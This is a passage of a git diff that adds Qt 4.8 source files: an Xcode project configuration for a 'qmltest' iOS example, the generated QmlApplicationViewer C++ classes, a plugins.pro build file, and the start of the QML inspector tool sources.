+ sourceTree = "<group>";
+ };
+ 29B97317FDCFA39411CA2CEA /* Resources */ = {
+ isa = PBXGroup;
+ children = (
+ D3CAA88E13265310008BB877 /* qml */,
+ 8D1107310486CEB800E47090 /* qmltest-Info.plist */,
+ );
+ name = Resources;
+ sourceTree = "<group>";
+ };
+ 29B97323FDCFA39411CA2CEA /* Frameworks */ = {
+ isa = PBXGroup;
+ children = (
+ D3CAA81513265035008BB877 /* Simulator */,
+ D3CAA8141326500A008BB877 /* Device */,
+ 1DF5F4DF0D08C38300B7A737 /* UIKit.framework */,
+ 1D30AB110D05D00D00671497 /* Foundation.framework */,
+ 288765A40DF7441C002DB57D /* CoreGraphics.framework */,
+ D35784251345D9940046D202 /* OpenGLES.framework */,
+ D35784271345D9E00046D202 /* QuartzCore.framework */,
+ D34F290613F29B0300E4F9AC /* CoreText.framework */,
+ D3CAA7F913264F8A008BB877 /* libz.dylib */,
+ );
+ name = Frameworks;
+ sourceTree = "<group>";
+ };
+ D3CAA7E213264E8C008BB877 /* QMLApplicationViewer */ = {
+ isa = PBXGroup;
+ children = (
+ D333CCF613B88A690070E08E /* moc_qmlapplicationviewer.cpp */,
+ D333CCF713B88A690070E08E /* qmlapplicationviewer.cpp */,
+ D333CCF813B88A690070E08E /* qmlapplicationviewer.h */,
+ );
+ name = QMLApplicationViewer;
+ sourceTree = "<group>";
+ };
+ D3CAA8141326500A008BB877 /* Device */ = {
+ isa = PBXGroup;
+ children = (
+ D3D817BA132A2D0E00CDE422 /* libquikit.a */,
+ D3D817AA132A2CFD00CDE422 /* libQtCore.a */,
+ D3D817AB132A2CFD00CDE422 /* libQtDeclarative.a */,
+ D3D817AC132A2CFD00CDE422 /* libQtGui.a */,
+ D3D817AD132A2CFD00CDE422 /* libQtNetwork.a */,
+ D3578435134A09990046D202 /* libQtOpenGL.a */,
+ D3D817AE132A2CFD00CDE422 /* libQtScript.a */,
+ D3D817AF132A2CFD00CDE422 /* libQtSql.a */,
+ D3D817B1132A2CFD00CDE422 /* libQtXmlPatterns.a */,
+ );
+ name = Device;
+ sourceTree = "<group>";
+ };
+ D3CAA81513265035008BB877 /* Simulator */ = {
+ isa = PBXGroup;
+ children = (
+ D307DEC413EBD04100399BD4 /* libquikit.a */,
+ D307DEC613EBD05900399BD4 /* libQtCore.a */,
+ D307DEC713EBD05900399BD4 /* libQtDeclarative.a */,
+ D307DEC813EBD05900399BD4 /* libQtGui.a */,
+ D307DEC913EBD05900399BD4 /* libQtNetwork.a */,
+ D307DECA13EBD05900399BD4 /* libQtOpenGL.a */,
+ D307DECB13EBD05900399BD4 /* libQtScript.a */,
+ D307DECC13EBD05900399BD4 /* libQtSql.a */,
+ D307DECE13EBD05900399BD4 /* libQtXmlPatterns.a */,
+ );
+ name = Simulator;
+ sourceTree = "<group>";
+ };
+/* End PBXGroup section */
+
+/* Begin PBXNativeTarget section */
+ 1D6058900D05DD3D006BFB54 /* qmltest simulator */ = {
+ isa = PBXNativeTarget;
+ buildConfigurationList = 1D6058960D05DD3E006BFB54 /* Build configuration list for PBXNativeTarget "qmltest simulator" */;
+ buildPhases = (
+ 1D60588D0D05DD3D006BFB54 /* Resources */,
+ 1D60588E0D05DD3D006BFB54 /* Sources */,
+ 1D60588F0D05DD3D006BFB54 /* Frameworks */,
+ );
+ buildRules = (
+ );
+ dependencies = (
+ );
+ name = "qmltest simulator";
+ productName = qmltest;
+ productReference = 1D6058910D05DD3D006BFB54 /* qmltest.app */;
+ productType = "com.apple.product-type.application";
+ };
+ D3CAA7E813264F52008BB877 /* qmltest device */ = {
+ isa = PBXNativeTarget;
+ buildConfigurationList = D3CAA7F313264F52008BB877 /* Build configuration list for PBXNativeTarget "qmltest device" */;
+ buildPhases = (
+ D3CAA7E913264F52008BB877 /* Resources */,
+ D3CAA7EB13264F52008BB877 /* Sources */,
+ D3CAA7EF13264F52008BB877 /* Frameworks */,
+ );
+ buildRules = (
+ );
+ dependencies = (
+ );
+ name = "qmltest device";
+ productName = qmltest;
+ productReference = D3CAA7F613264F52008BB877 /* qmltest.app */;
+ productType = "com.apple.product-type.application";
+ };
+/* End PBXNativeTarget section */
+
+/* Begin PBXProject section */
+ 29B97313FDCFA39411CA2CEA /* Project object */ = {
+ isa = PBXProject;
+ attributes = {
+ LastUpgradeCheck = 0420;
+ };
+ buildConfigurationList = C01FCF4E08A954540054247B /* Build configuration list for PBXProject "qmltest" */;
+ compatibilityVersion = "Xcode 3.2";
+ developmentRegion = English;
+ hasScannedForEncodings = 1;
+ knownRegions = (
+ English,
+ Japanese,
+ French,
+ German,
+ );
+ mainGroup = 29B97314FDCFA39411CA2CEA /* CustomTemplate */;
+ projectDirPath = "";
+ projectRoot = "";
+ targets = (
+ 1D6058900D05DD3D006BFB54 /* qmltest simulator */,
+ D3CAA7E813264F52008BB877 /* qmltest device */,
+ );
+ };
+/* End PBXProject section */
+
+/* Begin PBXResourcesBuildPhase section */
+ 1D60588D0D05DD3D006BFB54 /* Resources */ = {
+ isa = PBXResourcesBuildPhase;
+ buildActionMask = 2147483647;
+ files = (
+ D3CAA89113265310008BB877 /* qml in Resources */,
+ );
+ runOnlyForDeploymentPostprocessing = 0;
+ };
+ D3CAA7E913264F52008BB877 /* Resources */ = {
+ isa = PBXResourcesBuildPhase;
+ buildActionMask = 2147483647;
+ files = (
+ D3CAA89213265310008BB877 /* qml in Resources */,
+ );
+ runOnlyForDeploymentPostprocessing = 0;
+ };
+/* End PBXResourcesBuildPhase section */
+
+/* Begin PBXSourcesBuildPhase section */
+ 1D60588E0D05DD3D006BFB54 /* Sources */ = {
+ isa = PBXSourcesBuildPhase;
+ buildActionMask = 2147483647;
+ files = (
+ D3CAA7C813264AAD008BB877 /* main.mm in Sources */,
+ D333CCF913B88A690070E08E /* moc_qmlapplicationviewer.cpp in Sources */,
+ D333CCFB13B88A690070E08E /* qmlapplicationviewer.cpp in Sources */,
+ );
+ runOnlyForDeploymentPostprocessing = 0;
+ };
+ D3CAA7EB13264F52008BB877 /* Sources */ = {
+ isa = PBXSourcesBuildPhase;
+ buildActionMask = 2147483647;
+ files = (
+ D3CAA7EC13264F52008BB877 /* main.mm in Sources */,
+ D333CCFA13B88A690070E08E /* moc_qmlapplicationviewer.cpp in Sources */,
+ D333CCFC13B88A690070E08E /* qmlapplicationviewer.cpp in Sources */,
+ );
+ runOnlyForDeploymentPostprocessing = 0;
+ };
+/* End PBXSourcesBuildPhase section */
+
+/* Begin XCBuildConfiguration section */
+ 1D6058940D05DD3E006BFB54 /* Debug */ = {
+ isa = XCBuildConfiguration;
+ buildSettings = {
+ ALWAYS_SEARCH_USER_PATHS = NO;
+ ARCHS = "$(ARCHS_UNIVERSAL_IPHONE_OS)";
+ COPY_PHASE_STRIP = NO;
+ GCC_DYNAMIC_NO_PIC = NO;
+ GCC_OPTIMIZATION_LEVEL = 0;
+ GCC_PRECOMPILE_PREFIX_HEADER = YES;
+ GCC_PREFIX_HEADER = qmltest_Prefix.pch;
+ HEADER_SEARCH_PATHS = "\"$(SRCROOT)/../../../../../../../qt-lighthouse-ios-simulator/include\"/**";
+ INFOPLIST_FILE = "qmltest-Info.plist";
+ IPHONEOS_DEPLOYMENT_TARGET = 4.3;
+ LIBRARY_SEARCH_PATHS = (
+ "$(inherited)",
+ "\"$(SRCROOT)/../../../../../../../qt-lighthouse-ios-simulator/lib\"",
+ "\"$(SRCROOT)/../../../../../../../qt-lighthouse-ios-simulator/plugins/platforms\"",
+ );
+ PRODUCT_NAME = qmltest;
+ TARGETED_DEVICE_FAMILY = "1,2";
+ };
+ name = Debug;
+ };
+ 1D6058950D05DD3E006BFB54 /* Release */ = {
+ isa = XCBuildConfiguration;
+ buildSettings = {
+ ALWAYS_SEARCH_USER_PATHS = NO;
+ ARCHS = "$(ARCHS_UNIVERSAL_IPHONE_OS)";
+ COPY_PHASE_STRIP = YES;
+ GCC_PRECOMPILE_PREFIX_HEADER = YES;
+ GCC_PREFIX_HEADER = qmltest_Prefix.pch;
+ HEADER_SEARCH_PATHS = "\"$(SRCROOT)/../../../../../../../qt-lighthouse-ios-simulator/include\"/**";
+ INFOPLIST_FILE = "qmltest-Info.plist";
+ IPHONEOS_DEPLOYMENT_TARGET = 4.3;
+ LIBRARY_SEARCH_PATHS = (
+ "$(inherited)",
+ "\"$(SRCROOT)/../../../../../../../qt-lighthouse-ios-simulator/lib\"",
+ "\"$(SRCROOT)/../../../../../../../qt-lighthouse-ios-simulator/plugins/platforms\"",
+ );
+ PRODUCT_NAME = qmltest;
+ TARGETED_DEVICE_FAMILY = "1,2";
+ VALIDATE_PRODUCT = YES;
+ };
+ name = Release;
+ };
+ C01FCF4F08A954540054247B /* Debug */ = {
+ isa = XCBuildConfiguration;
+ buildSettings = {
+ ARCHS = "$(ARCHS_STANDARD_32_BIT)";
+ "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer";
+ GCC_C_LANGUAGE_STANDARD = c99;
+ GCC_WARN_ABOUT_RETURN_TYPE = YES;
+ GCC_WARN_UNUSED_VARIABLE = YES;
+ SDKROOT = iphoneos;
+ };
+ name = Debug;
+ };
+ C01FCF5008A954540054247B /* Release */ = {
+ isa = XCBuildConfiguration;
+ buildSettings = {
+ ARCHS = "$(ARCHS_STANDARD_32_BIT)";
+ "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer";
+ GCC_C_LANGUAGE_STANDARD = c99;
+ GCC_WARN_ABOUT_RETURN_TYPE = YES;
+ GCC_WARN_UNUSED_VARIABLE = YES;
+ OTHER_CFLAGS = "-DNS_BLOCK_ASSERTIONS=1";
+ SDKROOT = iphoneos;
+ };
+ name = Release;
+ };
+ D3CAA7F413264F52008BB877 /* Debug */ = {
+ isa = XCBuildConfiguration;
+ buildSettings = {
+ ALWAYS_SEARCH_USER_PATHS = NO;
+ ARCHS = "$(ARCHS_UNIVERSAL_IPHONE_OS)";
+ COPY_PHASE_STRIP = NO;
+ GCC_DYNAMIC_NO_PIC = NO;
+ GCC_OPTIMIZATION_LEVEL = 0;
+ GCC_PRECOMPILE_PREFIX_HEADER = YES;
+ GCC_PREFIX_HEADER = qmltest_Prefix.pch;
+ HEADER_SEARCH_PATHS = "\"$(SRCROOT)/../../../../../../../qt-lighthouse-ios-device/include\"/**";
+ INFOPLIST_FILE = "qmltest-Info.plist";
+ IPHONEOS_DEPLOYMENT_TARGET = 4.3;
+ LIBRARY_SEARCH_PATHS = (
+ "$(inherited)",
+ "\"$(SRCROOT)/../../../../../../../qt-lighthouse-ios-device/lib\"",
+ "\"$(SRCROOT)/../../../../../../../qt-lighthouse-ios-device/plugins/platforms\"",
+ );
+ PRODUCT_NAME = qmltest;
+ TARGETED_DEVICE_FAMILY = "1,2";
+ };
+ name = Debug;
+ };
+ D3CAA7F513264F52008BB877 /* Release */ = {
+ isa = XCBuildConfiguration;
+ buildSettings = {
+ ALWAYS_SEARCH_USER_PATHS = NO;
+ ARCHS = "$(ARCHS_UNIVERSAL_IPHONE_OS)";
+ COPY_PHASE_STRIP = YES;
+ GCC_PRECOMPILE_PREFIX_HEADER = YES;
+ GCC_PREFIX_HEADER = qmltest_Prefix.pch;
+ HEADER_SEARCH_PATHS = "\"$(SRCROOT)/../../../../../../../qt-lighthouse-ios-device/include\"/**";
+ INFOPLIST_FILE = "qmltest-Info.plist";
+ IPHONEOS_DEPLOYMENT_TARGET = 4.3;
+ LIBRARY_SEARCH_PATHS = (
+ "$(inherited)",
+ "\"$(SRCROOT)/../../../../../../../qt-lighthouse-ios-device/lib\"",
+ "\"$(SRCROOT)/../../../../../../../qt-lighthouse-ios-device/plugins/platforms\"",
+ );
+ PRODUCT_NAME = qmltest;
+ TARGETED_DEVICE_FAMILY = "1,2";
+ VALIDATE_PRODUCT = YES;
+ };
+ name = Release;
+ };
+/* End XCBuildConfiguration section */
+
+/* Begin XCConfigurationList section */
+ 1D6058960D05DD3E006BFB54 /* Build configuration list for PBXNativeTarget "qmltest simulator" */ = {
+ isa = XCConfigurationList;
+ buildConfigurations = (
+ 1D6058940D05DD3E006BFB54 /* Debug */,
+ 1D6058950D05DD3E006BFB54 /* Release */,
+ );
+ defaultConfigurationIsVisible = 0;
+ defaultConfigurationName = Release;
+ };
+ C01FCF4E08A954540054247B /* Build configuration list for PBXProject "qmltest" */ = {
+ isa = XCConfigurationList;
+ buildConfigurations = (
+ C01FCF4F08A954540054247B /* Debug */,
+ C01FCF5008A954540054247B /* Release */,
+ );
+ defaultConfigurationIsVisible = 0;
+ defaultConfigurationName = Release;
+ };
+ D3CAA7F313264F52008BB877 /* Build configuration list for PBXNativeTarget "qmltest device" */ = {
+ isa = XCConfigurationList;
+ buildConfigurations = (
+ D3CAA7F413264F52008BB877 /* Debug */,
+ D3CAA7F513264F52008BB877 /* Release */,
+ );
+ defaultConfigurationIsVisible = 0;
+ defaultConfigurationName = Release;
+ };
+/* End XCConfigurationList section */
+ };
+ rootObject = 29B97313FDCFA39411CA2CEA /* Project object */;
+}
diff --git a/src/plugins/platforms/uikit/examples/share/qmlapplicationviewer/moc_qmlapplicationviewer.cpp b/src/plugins/platforms/uikit/examples/share/qmlapplicationviewer/moc_qmlapplicationviewer.cpp
new file mode 100644
index 00000000..5b5ae731
--- /dev/null
+++ b/src/plugins/platforms/uikit/examples/share/qmlapplicationviewer/moc_qmlapplicationviewer.cpp
@@ -0,0 +1,122 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the plugins of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/****************************************************************************
+** Meta object code from reading C++ file 'qmlapplicationviewer.h'
+**
+** Created: Mon Jun 27 10:56:34 2011
+** by: The Qt Meta Object Compiler version 63 (Qt 4.8.0)
+**
+** WARNING! All changes made in this file will be lost!
+*****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#if !defined(Q_MOC_OUTPUT_REVISION)
+#error "The header file 'qmlapplicationviewer.h' doesn't include <QObject>."
+#elif Q_MOC_OUTPUT_REVISION != 63
+#error "This file was generated using the moc from 4.8.0. It"
+#error "cannot be used with the include files from this version of Qt."
+#error "(The moc has changed too much.)"
+#endif
+
+QT_BEGIN_MOC_NAMESPACE
+static const uint qt_meta_data_QmlApplicationViewer[] = {
+
+ // content:
+ 6, // revision
+ 0, // classname
+ 0, 0, // classinfo
+ 0, 0, // methods
+ 0, 0, // properties
+ 0, 0, // enums/sets
+ 0, 0, // constructors
+ 0, // flags
+ 0, // signalCount
+
+ 0 // eod
+};
+
+static const char qt_meta_stringdata_QmlApplicationViewer[] = {
+ "QmlApplicationViewer\0"
+};
+
+void QmlApplicationViewer::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a)
+{
+ Q_UNUSED(_o);
+ Q_UNUSED(_id);
+ Q_UNUSED(_c);
+ Q_UNUSED(_a);
+}
+
+const QMetaObjectExtraData QmlApplicationViewer::staticMetaObjectExtraData = {
+ 0, qt_static_metacall
+};
+
+const QMetaObject QmlApplicationViewer::staticMetaObject = {
+ { &QDeclarativeView::staticMetaObject, qt_meta_stringdata_QmlApplicationViewer,
+ qt_meta_data_QmlApplicationViewer, &staticMetaObjectExtraData }
+};
+
+#ifdef Q_NO_DATA_RELOCATION
+const QMetaObject &QmlApplicationViewer::getStaticMetaObject() { return staticMetaObject; }
+#endif //Q_NO_DATA_RELOCATION
+
+const QMetaObject *QmlApplicationViewer::metaObject() const
+{
+ return QObject::d_ptr->metaObject ? QObject::d_ptr->metaObject : &staticMetaObject;
+}
+
+void *QmlApplicationViewer::qt_metacast(const char *_clname)
+{
+ if (!_clname) return 0;
+ if (!strcmp(_clname, qt_meta_stringdata_QmlApplicationViewer))
+ return static_cast<void*>(const_cast< QmlApplicationViewer*>(this));
+ return QDeclarativeView::qt_metacast(_clname);
+}
+
+int QmlApplicationViewer::qt_metacall(QMetaObject::Call _c, int _id, void **_a)
+{
+ _id = QDeclarativeView::qt_metacall(_c, _id, _a);
+ if (_id < 0)
+ return _id;
+ return _id;
+}
+QT_END_MOC_NAMESPACE
diff --git a/src/plugins/platforms/uikit/examples/share/qmlapplicationviewer/qmlapplicationviewer.cpp b/src/plugins/platforms/uikit/examples/share/qmlapplicationviewer/qmlapplicationviewer.cpp
new file mode 100644
index 00000000..3a1850ff
--- /dev/null
+++ b/src/plugins/platforms/uikit/examples/share/qmlapplicationviewer/qmlapplicationviewer.cpp
@@ -0,0 +1,198 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the plugins of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// checksum 0x5e4a version 0x5000d
+/*
+ This file was generated by the Qt Quick Application wizard of Qt Creator.
+ QmlApplicationViewer is a convenience class containing mobile device specific
+ code such as screen orientation handling. Also QML paths and debugging are
+ handled here.
+ It is recommended not to modify this file, since newer versions of Qt Creator
+ may offer an updated version of it.
+*/
+
+#include "qmlapplicationviewer.h"
+
+#include <QtCore/QCoreApplication>
+#include <QtCore/QDir>
+#include <QtCore/QFileInfo>
+#include <QtDeclarative/QDeclarativeComponent>
+#include <QtDeclarative/QDeclarativeEngine>
+#include <QtDeclarative/QDeclarativeContext>
+
+#if defined(QMLJSDEBUGGER) && QT_VERSION < 0x040800
+
+#include <qt_private/qdeclarativedebughelper_p.h>
+
+#if !defined(NO_JSDEBUGGER)
+#include <jsdebuggeragent.h>
+#endif
+#if !defined(NO_QMLOBSERVER)
+#include <qdeclarativeviewobserver.h>
+#endif
+
+// Enable debugging before any QDeclarativeEngine is created
+struct QmlJsDebuggingEnabler
+{
+ QmlJsDebuggingEnabler()
+ {
+ QDeclarativeDebugHelper::enableDebugging();
+ }
+};
+
+// Execute code in constructor before first QDeclarativeEngine is instantiated
+static QmlJsDebuggingEnabler enableDebuggingHelper;
+
+#endif // QMLJSDEBUGGER
+
+class QmlApplicationViewerPrivate
+{
+ QString mainQmlFile;
+ friend class QmlApplicationViewer;
+ static QString adjustPath(const QString &path);
+};
+
+QString QmlApplicationViewerPrivate::adjustPath(const QString &path)
+{
+#ifdef Q_OS_UNIX
+#ifdef Q_OS_MAC
+ if (!QDir::isAbsolutePath(path))
+ return QCoreApplication::applicationDirPath()
+ + QLatin1String("/../Resources/") + path;
+#else
+ const QString pathInInstallDir = QCoreApplication::applicationDirPath()
+ + QLatin1String("/../") + path;
+ if (pathInInstallDir.contains(QLatin1String("opt"))
+ && pathInInstallDir.contains(QLatin1String("bin"))
+ && QFileInfo(pathInInstallDir).exists()) {
+ return pathInInstallDir;
+ }
+#endif
+#endif
+ return path;
+}
+
+QmlApplicationViewer::QmlApplicationViewer(QWidget *parent) :
+ QDeclarativeView(parent),
+ m_d(new QmlApplicationViewerPrivate)
+{
+ connect(engine(), SIGNAL(quit()), SLOT(close()));
+ setResizeMode(QDeclarativeView::SizeRootObjectToView);
+ // Qt versions prior to 4.8.0 don't have QML/JS debugging services built in
+#if defined(QMLJSDEBUGGER) && QT_VERSION < 0x040800
+#if !defined(NO_JSDEBUGGER)
+ new QmlJSDebugger::JSDebuggerAgent(engine());
+#endif
+#if !defined(NO_QMLOBSERVER)
+ new QmlJSDebugger::QDeclarativeViewObserver(this, this);
+#endif
+#endif
+}
+
+QmlApplicationViewer::~QmlApplicationViewer()
+{
+ delete m_d;
+}
+
+void QmlApplicationViewer::setMainQmlFile(const QString &file)
+{
+ m_d->mainQmlFile = QmlApplicationViewerPrivate::adjustPath(file);
+ setSource(QUrl::fromLocalFile(m_d->mainQmlFile));
+}
+
+void QmlApplicationViewer::addImportPath(const QString &path)
+{
+ engine()->addImportPath(QmlApplicationViewerPrivate::adjustPath(path));
+}
+
+void QmlApplicationViewer::setOrientation(ScreenOrientation orientation)
+{
+//#if defined(Q_OS_SYMBIAN)
+// // If the version of Qt on the device is < 4.7.2, that attribute won't work
+// if (orientation != ScreenOrientationAuto) {
+// const QStringList v = QString::fromAscii(qVersion()).split(QLatin1Char('.'));
+// if (v.count() == 3 && (v.at(0).toInt() << 16 | v.at(1).toInt() << 8 | v.at(2).toInt()) < 0x040702) {
+// qWarning("Screen orientation locking only supported with Qt 4.7.2 and above");
+// return;
+// }
+// }
+//#endif // Q_OS_SYMBIAN
+
+// Qt::WidgetAttribute attribute;
+// switch (orientation) {
+//#if QT_VERSION < 0x040702
+// // Qt < 4.7.2 does not yet have the Qt::WA_*Orientation attributes
+// case ScreenOrientationLockPortrait:
+// attribute = static_cast<Qt::WidgetAttribute>(128);
+// break;
+// case ScreenOrientationLockLandscape:
+// attribute = static_cast<Qt::WidgetAttribute>(129);
+// break;
+// default:
+// case ScreenOrientationAuto:
+// attribute = static_cast<Qt::WidgetAttribute>(130);
+// break;
+//#else // QT_VERSION < 0x040702
+// case ScreenOrientationLockPortrait:
+// attribute = Qt::WA_LockPortraitOrientation;
+// break;
+// case ScreenOrientationLockLandscape:
+// attribute = Qt::WA_LockLandscapeOrientation;
+// break;
+// default:
+// case ScreenOrientationAuto:
+// attribute = Qt::WA_AutoOrientation;
+// break;
+//#endif // QT_VERSION < 0x040702
+// };
+// setAttribute(attribute, true);
+}
+
+void QmlApplicationViewer::showExpanded()
+{
+#if defined(Q_OS_SYMBIAN) || defined(MEEGO_EDITION_HARMATTAN)
+ showFullScreen();
+#elif defined(Q_WS_MAEMO_5)
+ showMaximized();
+#else
+ show();
+#endif
+}
diff --git a/src/plugins/platforms/uikit/examples/share/qmlapplicationviewer/qmlapplicationviewer.h b/src/plugins/platforms/uikit/examples/share/qmlapplicationviewer/qmlapplicationviewer.h
new file mode 100644
index 00000000..f6a7900c
--- /dev/null
+++ b/src/plugins/platforms/uikit/examples/share/qmlapplicationviewer/qmlapplicationviewer.h
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the plugins of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// checksum 0x382f version 0x5000d
+/*
+ This file was generated by the Qt Quick Application wizard of Qt Creator.
+ QmlApplicationViewer is a convenience class containing mobile device specific
+ code such as screen orientation handling. Also QML paths and debugging are
+ handled here.
+ It is recommended not to modify this file, since newer versions of Qt Creator
+ may offer an updated version of it.
+*/
+
+#ifndef QMLAPPLICATIONVIEWER_H
+#define QMLAPPLICATIONVIEWER_H
+
+#include <QtDeclarative/QDeclarativeView>
+
+class QmlApplicationViewer : public QDeclarativeView
+{
+ Q_OBJECT
+
+public:
+ enum ScreenOrientation {
+ ScreenOrientationLockPortrait,
+ ScreenOrientationLockLandscape,
+ ScreenOrientationAuto
+ };
+
+ explicit QmlApplicationViewer(QWidget *parent = 0);
+ virtual ~QmlApplicationViewer();
+
+ void setMainQmlFile(const QString &file);
+ void addImportPath(const QString &path);
+
+ // Note that this will only have an effect on Symbian and Fremantle.
+ void setOrientation(ScreenOrientation orientation);
+
+ void showExpanded();
+
+private:
+ class QmlApplicationViewerPrivate *m_d;
+};
+
+#endif // QMLAPPLICATIONVIEWER_H
diff --git a/src/plugins/plugins.pro b/src/plugins/plugins.pro
new file mode 100644
index 00000000..94ce675f
--- /dev/null
+++ b/src/plugins/plugins.pro
@@ -0,0 +1,16 @@
+TEMPLATE = subdirs
+
+SUBDIRS *= sqldrivers script bearer
+unix:!symbian {
+ contains(QT_CONFIG,iconv)|contains(QT_CONFIG,gnu-libiconv)|contains(QT_CONFIG,sun-libiconv):SUBDIRS *= codecs
+} else {
+ SUBDIRS *= codecs
+}
+!contains(QT_CONFIG, no-gui): SUBDIRS *= imageformats iconengines
+!embedded:!qpa:!contains(QT_CONFIG, no-gui):SUBDIRS *= graphicssystems
+embedded:SUBDIRS *= gfxdrivers decorations mousedrivers kbddrivers
+!win32:!embedded:!mac:!symbian:!contains(QT_CONFIG, no-gui):SUBDIRS *= inputmethods
+!symbian:!contains(QT_CONFIG, no-gui):SUBDIRS += accessible
+contains(QT_CONFIG, phonon): SUBDIRS *= phonon
+qpa:SUBDIRS += platforms
+contains(QT_CONFIG, declarative): SUBDIRS *= qmltooling
diff --git a/src/plugins/qmltooling/qmldbg_inspector/abstracttool.cpp b/src/plugins/qmltooling/qmldbg_inspector/abstracttool.cpp
new file mode 100644
index 00000000..a557aaeb
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/abstracttool.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "abstracttool.h"
+
+#include "abstractviewinspector.h"
+
+namespace QmlJSDebugger {
+
+AbstractTool::AbstractTool(AbstractViewInspector *inspector) :
+ QObject(inspector),
+ m_inspector(inspector)
+{
+}
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/abstracttool.h b/src/plugins/qmltooling/qmldbg_inspector/abstracttool.h
new file mode 100644
index 00000000..57cf1fc5
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/abstracttool.h
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
